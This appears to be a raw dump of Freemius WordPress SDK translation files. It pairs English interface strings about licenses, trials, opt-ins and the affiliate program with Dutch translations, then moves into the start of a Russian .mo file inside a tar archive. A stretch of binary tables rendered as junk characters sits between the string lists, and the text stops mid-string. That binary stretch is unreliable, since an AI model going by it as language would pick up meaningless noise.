could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's not what I was looking forJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense KeyLicense keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerMessageMethodMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicenseQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires WordPress VersionResultSDKSDK PathSave %sScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSocial media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart TrialStart my free %sStateSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser IDUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageYesYes - %sYou already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have successfully updated your %s.You might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,interjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew versionnot verifiednounPricenounPricingproduct versionVersionsecondssecsend me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Leo Fajardo , 2022 Language-Team: Dutch (Netherlands) (http://www.transifex.com/freemius/wordpress-sdk/language/nl_NL/) Language: nl_NL MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %svoor toegang to versie %s beveiliging & features updates en support.Voltooi "%s" Activatie Nu%s Add-on werd succesvol aangekocht.%s Installaties%s Licenties%s geleden%sen bijbehorende uitbreidingen%s commissie als een klant een nieuwe licentie koopt. %s gratis proefperiode werd succesvol stop gezet. Daar de add-on alleen als premium versie beschikbaar is werd deze automatisch gedeactiveerd. Als u de add-on in de toekomst wilt gebruiken dient u een licentie aan te schaffen.%s is uitsluitend beschikbaar als een premium add-on. Je moet een licentie kopen voordat je de plug-in activeert.%s is de nieuwe eigenaar van het account.%s minimum uitbetalingsbedrag.%s of hoger%s beoordeling%s beoordelingen%s sec%s ster%s sterren%s tijd%s tijden%svoor toegang tot versie %s beveiliging en feature updates en support.%s tracking cookie na eerste bezoek om je verdienpotentieel te maximaliseren.%s betaalde mogelijkheden%sKlik hier%s om de sites te kiezen waar op je de licentie wilt activeren.API←➤AccountgegevensActiesActiveerActiveer %sActiveer %s PlanActiveer %s features.Activeer Gratis VersieActiveer LicentieActiveer licentie op alle in behandeling zijnde sites.Activeer licentie op alle sites in het netwerk.Activeer deze add-onGeactiveerdAdd-ons voor %sUitbreidingen van module %sVoeg nog een domein toeUitbreidingUitbreidingenAdd-on moet op WordPress.org of Freemius geplaatst worden.AdresAdresregel %dAffiliateAffiliatieNa uw gratis %s, betaal slechts %sAkkoord & Activeer LicentieAlle RequestsAlle TypesToestaan & Ga VerderJe kunt dat eventueel ook nu overslaan en de licentie later in je %s netwerk-niveau Account pagina activeren. BedragEen geautomatiseerde download en installatie van %s (betaalde versie) van %s zal starten binnen %s. Als je dit handmatig wil doen, klik dan nu op de annuleer knop.Anonieme terugkoppelingPas toe op alle in behandeling zijnde sites.Pas toe op alle sites in het netwerk.Meld je aan om een affiliate partner te wordenWeet u zeker dat u alle Freemius data wilt verwijderen?Weet je zeker dat je wilt doorgaan?Omdat wij 30 dagen reserveren voor eventuele terugstortingen, betalen we alleen commissies uit die ouder dan 30 dagen zijn.Automatische installatie werkt alleen voor opted-in gebruikers.Auto hernieuwd over %sAutomatische InstallatieGemiddelde BeoordelingGeweldigWordt een affiliateFactureringGeblokkeerdBlog IDBodyBedrijfsnaamKoop nu een licentieKoop licentieKan je je licentiesleutel niet vinden?AnnuleerAnnuleer %s & Ga DoorAnnuleer %s - Ik heb niet meer enige beveiligings- en uitbreidingsupdates of ondersteuning voor %s nodig, omdat ik niet van plan ben de %sop deze of enige andere site te gebruiken.%s annuleren?Annuleer InstallatieAbonnement OpzeggenProefperiode OpzeggenGeannuleerdAnnuleren %s%s wordt geannuleerd...Het abonnement annulerenHet stopzetten van de proefperiode zal de toegang tot de premium features onmiddellijk blokkeren. Weet je dat zeker?Verander LicentieEigendom OverdragenWijzig PlanAfrekenenStadAPI-Cache LeegmakenUpdates Transients OpschonenKlik hier om de plug-in anoniem te gebruikenKlik om reviews te bekijken met een beoordeling van%sKlik voor het op volle-grootte bekijken van schermafbeelding %dProductenCodeCompatible totContactContacteer SupportContacteer OnsMedewerkersKon %s niet activeren.LandCron TypeDatumDeactiveerDeactiveer LicentieHet deactiveren en deïnstalleren van de %s zal de licentie automatisch uitschakelen, die je dan kan gebruiken op een andere site.Deactiveren van je licentie zal alle premium features blokkeren, maar geeft je de mogelijkheid de licentie op een andere site te activeren. Weet je zeker dat je wilt doorgaan?DeactivatieDebug LogDelegeren aan Site BeheerdersVerwijder All AccountsDetailsAnnuleer %s niet - Ik wil nog steeds zowel beveiligings- en uitbreidingsupdates ontvangen als contact kunnen opnemen met Support.Heb je geen licentiesleutel?Doneer aan deze plug-inJe plan naar beneden bijstellenDownloadDownload %s VersieDownload de meeste recente %s versieDownload de meeste recente versieGedownloadAls gevolg van het overtreden van onze affiliate voorwaarden, hebben we besloten je affiliate account tijdelijk te blokkeren. Neem voor eventuele vragen alsjeblieft contact op met support.Tijdens het update proces detecteerden we %dsite(s) waarvoor de licentie nog niet geactiveerd is.Tijdens het update proces detecteerden we %dsite(s) in het netwerk die jouw aandacht vereisen.E-mailE-mailadresEindeVoer de domeinnaam in van je website of andere websites waar vanaf je van plan bent de %ste gaan promoten.Voer hieronder het e-mailadres in dat je gebruikt hebt voor de upgrade en we zullen je jouw licentiesleutel opnieuw toesturen.FoutFoutmelding ontvangen van de server:VerlopenVerloopt over %sExtra DomeinenExtra domeinen vanaf waar je het product gaat promoten.BestandFilterVoordat we de proefperiode kunnen starten, vragen we je, in overeenstemming met de Wordpress.org-richtlijnen, in te stemmen je gebruikers- en niet-sensitieve site informatie door de %s periodiek te laten verzenden naar %s om te controleren op nieuwe versies en je proefversie te valideren.GratisGratis ProefperiodeGratis versieFreemius APIFreemius DebugFreemius SDK kon het hoofdbestand van de plug-in niet vinden. Neem a.j.b. contact op met sdk@freemius.com m.b.t. deze fout.Freemius StatusVolledige naamFunctieKrijg een commissie voor automatische abonnementsverlengingen.Heb je een licentiesleutel?Hey, wist je dat %s een samenwerkingsprogramma heeft? Als je de %s goedvindt, kun je onze ambassadeur worden en wat geld verdienen!Hoe bevalt %s tot dusver? Test al onze %s premium features gedurende een%d-daagse gratis proefperiode.Hoe te uploaden en activeren?Hoe ga je ons promoten?Ik kan er niet langer meer voor betalenIk snapte niet hoe ik het aan het werk kon krijgen.Ik vind het niet prettig om mijn informatie met jullie te delenIk vond een beter %sIk heb mijn account geüpgraded maar als ik probeer te Synchroniseren blijft het plan %s.Ik heb de %s niet meer nodig Ik had de %s alleen nodig voor een korte periode.IDAl je er op klikt, zal deze beslissing gedelegeerd worden aan de beheerders van de sites. We zouden het zeer op prijs stellen, als je even hebt, om ons alsjeblieft te laten weten waarom je gaat %sAls je het eigendom van het %s account wilt overdragen aan %s, klik dan op de Eigendom Overdragen knop. Als je de %s op deze sites wil gebruiken, voer dan alsjeblieft de licentiesleutel hieronder in en klik op de activatie-knop.Belangrijke Upgrade Mededeling:Binnen %sMocht je NIET van plan zijn om deze %s te gebruiken op deze site (of op een andere site) - wil je dan het %s ook opzeggen?Installer Gratis Versie NuInstalleer Gratis Versie Update NuInstalleer NuInstalleer Update NuInstalleren van plug-in: %sOngeldige Module-IDOngeldige verzameling van Site Details.FactuurIs ActiefHet lijkt erop dat de licentie niet geactiveerd kon worden.Het lijkt erop dat het deactiveren van je licentie mislukt is.Het lijkt er op dat u niet langer meer in de proefperiode zit, dus er valt niets stop te zetten.Het lijkt erop dat u nog steeds op het %s plan zit. Als u uw plan geüpgraded of veranderd heeft, dan is het waarschijnlijk een fout aan onze kant - sorry.Het lijkt erop dat je site momenteel geen actieve licentie heeft.Het lijkt erop dat een van de authenticatie parameters niet klopt. Update je Publieke Sleutel, Geheime Sleutel & Gebruikers ID en probeer het nogmaals. Het is niet waarna ik opzoek wasVoor alle duidelijkheid, de add-ons informatie van %s wordt opgehaald van een externe server.SleutelWil je alsjeblieft zo vriendelijk zijn om te delen wat niet werkte, zodat we dat kunnen verbeteren voor toekomstige gebruikers ...Wilt je alsjeblieft zo vriendelijk zijn om de reden te vermelden, zodat wij verbeteringen kunnen doorvoeren.LaatsteLaatst GeüpdatetLaatste licentieNieuwste Gratis Versie GeïnstalleerdMeest Recente Versie GeïnstalleerdLees meerLengteLicentieLicentieovereenkomstLicentiesleutelLicentiesleutelLicentiesleutel is leeg.LevenslangVind je de %s goed? Word dan onze ambassadeur en verdien cash ;-)Laad DB-optieLocalhostLogLoggerBerichtMethodesZet Opties over naar NetwerkMobiele appsModuleModule PadModuletypeMeer informatie over %sNaamNetwerk BlogNetwerk GebruikerNieuwNieuwe Versie BeschikbaarNieuwere Gratis Versie (%s) GeïnstalleerdNieuwere Versie (%s) GeïnstalleerdNieuwsbriefVolgendeNeeGeen IDGeen verplichting voor %s - opzeggen kan altijdGeen verplichting voor %s dagen - elk moment opzeggen!Geen creditcard nodigGeen verloopdatumNiet-verlopendeGeen van de %s plannen ondersteunt een proefperiode.OkéAls je licentie verloopt kan je nog steeds gebruik maken van de Gratis versie, maar je zal GEEN toegang meer hebben tot de %sfeatures.Als je licentie afloopt, zul je %s niet meer kunnen gebruiken, tenzij je het opnieuw activeert met een geldige Premium-licentie.Opt InOpt OutOpt-in om "%s" te verbeteren!OverigeE-mail EigenaarID EigenaarNaam EigenaarPCI-comformBetaalde add-on moet op Freemius geplaatst worden.PayPal account e-mailadresBetalingenUitbetalingen zijn in USD en worden maandelijks uitgevoerd via PayPalPlanPlan %s bestaat niet, daarom kan proefperiode niet gestart worden.Plan %s ondersteunt geen proefperiode.Plan IDNeem hier a.u.b. contact met ons opNeem a.u.b. contact met ons op met het volgende bericht:A.u.b. %s downloaden.Voer aalsjeblieft de licentiesleutel in die je ontving in de e-mail direct na de aankoop:Voel je alsjeblieft vrij om elke relevante website of social media statistieken met ons te delen, bijvoorbeeld maandelijkse unieke bezoekers, aantal e-mail abonnees , volgers, etc. (we zullen deze informatie vertrouwelijk houden).Volg alsjeblieft deze stappen om de upgrade te voltooienLaat ons alsjeblieft weten als je op de hoogte gehouden wilt worden van beveiliging & feature updates, educatieve content en zo nu en dan aanbiedingen:Onthou alsjeblieft dat we geen oude prijzen voor verlengingen/nieuwe abonnementen na een annulering kunnen aanhouden. Als je in de toekomst besluit om een abonnement handmatig te vernieuwen, zal de nieuwe prijs (na een prijsverhoging die meestal jaarlijks plaatsvindt) worden berekend.Geef alsjeblieft zo gedetailleerd als mogelijk aan hoe je van plan bent om %s te gaan promoten.Geef alsjeblieft je volledige naam.Plug-inPlug-in HomepagePlug-in IDPlug-in InstallatieWijzigingen LogBeschrijvingVeelgestelde VragenFeatures & PrijzenInstallatieAndere NotitiesReviewsPlug-in is 'Serviceware' wat betekent dat het geen premium code versie bevat. Plug-insSynchronisatie Plug-ins & Thema'sPremiumPremium %s versie is succesvol geactiveerd.Premium add-on versie is reeds geïnstalleerd.Premium versiePremium versie reeds actief.PrijzenPrivacybeleidDoorgaanProces-IDProductenProgramma SamenvattingPromotie methodesProvinciePublieke SleutelLicentie KopenSnelle terugkoppelingQuotaActivatiemail opnieuw versturenVerwijs nieuwe klanten naar onze %s en krijg %s commissie op iedere door jou doorverwezen, geslaagde verkoop!Vernieuw licentieVernieuw je licentie nuAanvragenVereiste WordPress-versieResultaatSDKSDK PadBespaar %sGeplande CronsSchermafbeeldingenZoek op adresGeheime SleutelBeveiligde HTTPS %s pagina, loopt via een extern domeinHet lijkt erop, dat we een tijdelijk probleem hebben met het annuleren van je abonnement. Probeer het alsjeblieft over een paar minuten nog eens.Het lijkt er op dat we een tijdelijk probleem hebben met het opzeggen van uw proefperiode. Probeer het a.u.b. over enkele minuten nog eens.Het lijkt erop dat je de meest recente versie hebt.Selecteer LandVerzend LicentiesleutelActiveer DB-OptieSimuleer Netwerk UpgradeSimuleer Trial ActieEnkele Site LicentieSite IDSite opt-in geslaagd. SitesSla over & %sSlugSocial media (Facebook, Twitter, etc.)Sorry voor het ongemak en we zijn er om je te helpen als je daartoe de kans geeft..Sorry, we konden de e-mail update niet voltooien. Een andere gebruiker met hetzelfde e-mailadres is reeds geregistreerd.StartStart ProefperiodeStart mijn gratis %sStaatVerstuur & %sAbonnementOndersteuningSupportforumSynchroniseer Data Vanaf ServerBtw-nummerServicevoorwaardenBedankt voor je aanvraag voor deelname aan ons affiliate programma, helaas, op dit moment hebben we besloten je aanvraag af te wijzen. Probeer het alsjeblieft over 30 dagen nog eens.Bedankt voor je aanvraag voor deelname aan ons samenwerkingsprogramma. We zullen binnen 14 dagen je gegevens doornemen, waarna we je aanvullende informatie zullen sturen.Hartelijk bedankt voor het gebruik van %s en bijbehorende uitbreidingen!Hartelijk bedankt voor het gebruik van %s!Hartelijk bedankt voor het gebruiken van onze producten!Bedankt!Bedankt %s!Bedankt voor het bevestigen van de eigendomsoverdracht. Zojuist is er een e-mail verstuurd naar %s voor de definitieve goedkeuring. De %s maakte mijn site onbruikbaarDe %s werkte nietDe %s werkte niet zoals verwachtDe %s is uitstekend, maar ik heb een specifieke feature nodig die jullie niet ondersteunenDe %s werkt nietDe %s werkte opeens niet meerHet installatieproces is gestart en kan enkele minuten duren om te voltooien. Wacht alsjeblieft totdat dat gebeurt is - deze pagina niet verversen.Het remote plug-in pakket bevat geen folder met de verwachte slug en hernoemen werkte niet. De upgrade van %s is succesvol voltooid.ThemaThema WisselThema'sEr is een %s van %s beschikbaar.Er is een nieuwe versie van %s beschikbaar.Deze plug-in is niet als compatibel aangemerkt voor je huidige WordPress versie.Deze plug-in is nog niet getest met je huidige WordPress versie. TijdstempelTitelTotaalPlaatsProefperiodeTypeToegang tot het bestandssysteem is niet mogelijk. Bevestig alsjeblieft je inloggegevens.Onbeperkte LicentiesOnbeperkte UpdatesOnbeperkte commissies.Tot %s SitesBijwerkenUpdate LicentieUpdates, aankondigingen, marketing, geen spamUpgradeUpload en activeer de gedownloade versieW00tGebruikers IDGebruikersWaardeVerificatiemail zojuist verstuurd naar %s. Als je deze niet binnen 5 min. hebt ontvangen, kijk dan alsjeblieft in je spambox.GeverifieerdVerifieer E-mailVersie %s is vrijgegeven.Bekijk detailsBekijk betaalde kenmerkenWaarschuwingEr is geen actieve licentie gekoppeld aan dat e-mailadres, ben je zeker dat dat het juiste adres is?We konden je e-mailadres niet vinden in het systeem, ben je zeker dat dat het juiste adres is?We hebben een aantal aanpassingen gedaan op de %s, %s We zijn verheugd om Freemius network-level integratie te introduceren.Website, mail, and social media statistieken (optioneel)Wat had je verwacht?Welke feature?Wat is je %s?Welke bedrag zou je ervoor over hebben?Waar was je naar op zoek?Wat is de naam van het %s?Waar ga je de %s promoten?WordPress.org Plug-in PaginaJaJa - %sU heeft reeds een proefperiode gebruikt.U bent 1-klik verwijderd van het starten van uw %1$s-daagse gratis proefperiode van het %2$s plan.Alles is goed!Je draait de %s al in proefmodus.Je bent slechts een stap verwijderd - %sJe kunt nog steeds van alle %s-mogelijkheden genieten, maar je zult geen toegang hebben tot %s veiligheids- en uitbreidingsupdates, noch ondersteuning.Je hebt geen geldige licentie voor de premium versie.Je hebt een %s licentieJe hebt je %s succesvol geüpdatet.Misschien heb je het gemist, maar je hoeft geen gegevens te delen en kunt de opt-in %s.Je hebt reeds ingestemd met onze gebruiks-tracking, wat ons helpt om %s te blijven verbeteren.Je hebt reeds ingestemd met onze gebruiks-tracking, wat ons helpt om deze te blijven verbeteren.Uw %sAdd-on plan werd succesvol geüpgraded. Uw gratis %s proefperiode is succesvol opgezegd. Je account is succesvol geactiveerd met het %s plan.Je samenwerkingsaanvraag voor %s is geaccepteerd! Log in op je samenwerkingsomgeving op: %s.Je affiliate account is tijdelijk geschorst.Je e-mail werd succesvol geverifieerd - je bent GEWELDIG!Je gratis proefperiode is verlopen. %1$sUpgrade nu%2$som de %3$s zonder interrupties te blijven gebruiken. Je gratis proefperiode is verlopen. Je kan nog steeds al onze gratis features blijven gebruiken.Je licentie is geannuleerd. Als je denkt dat dat een fout is, neem dan alsjeblieft contact op met support.Je licentie is verlopen. %1$sUpgrade nu%2$s om de %3$s zonder interrupties te blijven gebruiken.Je licentie is verlopen. Je kan nog steeds alle %s features gebruiken, maar je zal je licentie moeten vernieuwen om weer updates en support te ontvangen.Je licentie is verlopen. Je kan echter de gratis %s voor altijd blijven gebruiken.Je licentie is succesvol geactiveerd.Je licentie is succesvol gedeactiveerd, je bent terug op het %s plan.Je naam is succesvol bijgewerkt.Je plan is succesvol veranderd naar %s.Je plan is succesvol geüpgraded.Je abonnement is succesvol geannuleerd. De licentie van je %s-plan al over %s aflopen.U proefperiode is met succes gestart.PostcodeToppieActiveer%s werkt niet zonder %s.%s werkt niet zonder de plug-in.Aankondigingtoestaan%s beschikbaarActiverenjaarAPIAfsluitenDebuggingGefeliciteerdGeblokkeerdVerbondenDownload NieuwsteDownload Nieuwste Gratis VersieMaandelijksVerloopdatumPadE-mail versturenmndJaarlijksJaarlijksEenmaligPlanGeen GeheimSDK VersiesLicentieSyncSync LicentieAuteurUitAangebaseerd op %sStart gratis proefperidoeAfsluitenAfsluitendeactiverendeligerenstuur mij %sGEEN%s beveiliging & feature updates, educatieve content of aanbiedingen.%s Plan%s gefactureerd BesteHoiOepsHoi %s,HoeralicentieSitesmsnieuwe versieniet geverifieerdPrijsPrijzenVersiesecstuur mij beveiliging & feature updates, educatieve content en aanbiedingen.overslaanHmmstart de proefperiodeabonnementoverschakelende meest recente %s versie hierproefperiodeProefperiodeVerwijderDowngradeBewerkVerbergOpt InOpt OutKoopToonSla OverBijwerkenUpgrade%s geledenvendor/freemius/languages/freemius-ru_RU.mo000064400000137767147600365160015071 0ustar00 A#S#%E$ k$ w$$6$$_v%#%% & !& +&6&=&E&N&V&H_&&&&&& &&&'' .'8'G'\'o'v'5~'' ' '''( ( ((2(C(J(((2)!L)an)0)****9*A*U*]*f* k*y**** * *Y*6+E+ V+b+k+p+(+1+%+,,,, /, :,G,], e,o, t,, , ,,,,,,,-1- M-X-- -.Y.ab.... . /;/J/O/V/U0 Z0 e0 r00j00 1131O1~c1U182T2m2)2-22S2H3'`3373g3+4 14=4P4f4y4 414.4O4<5A5y5x6a66B6,A7n7 s7 77 777 7 77478 %8/838:8B8 I8U8 \8 h8t8888 888%8+89 49 B9/O99m999: :):>:[:4d::5:(::;-;J;U^;;1}<[< =*=1= A=K=(Z=*="=1=+>*/>&Z>N>>>>.>)%?O?_??? ? ???? ????W@j@s@@@@@@ @ @5@lA&tAAA AAAA AA&AL!BfnBB BBB B C C C 6CCCTCC D\DDDEC0EtEEEd0F-FF FFMFG+G sG}GGGGGEGGGHH*H1H*@HkH*sH^HHI IdIvI II IIIiIW7J"J6JJ J K-KKKiK&KKK$KMKLL&LZM.vM.M9MZN3iN<NUN0OKO(PG@P#P)P$P)P%Q7Q;TQ6Q>QR!RAR$WR|RRRR&R*S>SUSsS3SSSSTT*4T1_TTT#TTUU #U/UOUfU {UUUUUUV1VDVXV hV uV VV VQVW WW8W KWWW fW pW zW W W W W W W WJW6&\D]\\\\^\pE]^EQ_4____``'`>` M`X`a#a ?aMa_aya"a;a)a5bTblb$b6b$b" c]/c cccicD?ddd*ddd f6*fWaf>ffg6h0hhii6iSimi i@i i$i"j/Bjrjj"k3kk k llb.lxle mpmwmm9mmm0n HnVn jntn.nn0n& o0o7CoB{oo o3o,#pPp!bp"q"q qqlr bsos/sBs9sx8tt tYt"w98w"rw w-wwxxxyx5?yuypz6V{9{;{^|Qb|||,}:}}r}i~" 3C%w  _T:Twl\ɂ( Ych=($6? Yg"y!'b4I"~ ;‡ ( GTk' = w%zB9[b4# XeTv9ˌUjd!zNk)W;vڑQA F/T" ۓ/1Oc @(iQyJ˕;3 o5y Ė3$> R^,}A},͘ јޘ) 7qCO4 6@(w (Л82Ӝ *+ /C:b5Ӡ%43ۢ8-Bͤ *IoYnɥ8U g r.Q2;!K:L/9,/f$8T 1 ŭP%Ms5/ɮ IM!%GG8Ȱ'N.v9`tT|pH L1:NGE> ̹ڹ#;M_t!Ժ .N b T ):Ul}!, ޼)&P`p  ɽѽ  &: CQX*`-Ӿ7Ie {߿~>0Z'5-yI`Gozqw}#YcRWFpfX`.Kl4?lw2U@+_z6.jS(r,=e*;$G,ND'ao{x7dhLhX6k" M(s[x 2_g#dSU  m0^EQ-jN!!e"H4Y]@&v|7T{cJs+v>*Z 38$y[^\3n:1t9J p&QuA1 \|)fi9FBIr~PCW:PEB=8D Vk}/OROa)/iMubqb V<<mLt5]%;nKCgA H ?%T%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s tracking cookie after the first visit to maximize earnings potential.APIAccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate Free VersionActivate LicenseActivate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.Address Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.Anonymous feedbackApply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto installation only works for opted-in users.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBillingBlockingBodyBusiness nameCan't find your license key?CancelCancel InstallationCancel SubscriptionCancel TrialCancelledCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivationDebug LogDelete All AccountsDetailsDon't have a license key?Donate to this pluginDownloadDownload %s VersionDownload the latest %s versionDownload the latest versionDownloadedDue to violation of our affiliation terms, we decided to temporarily block your affiliation 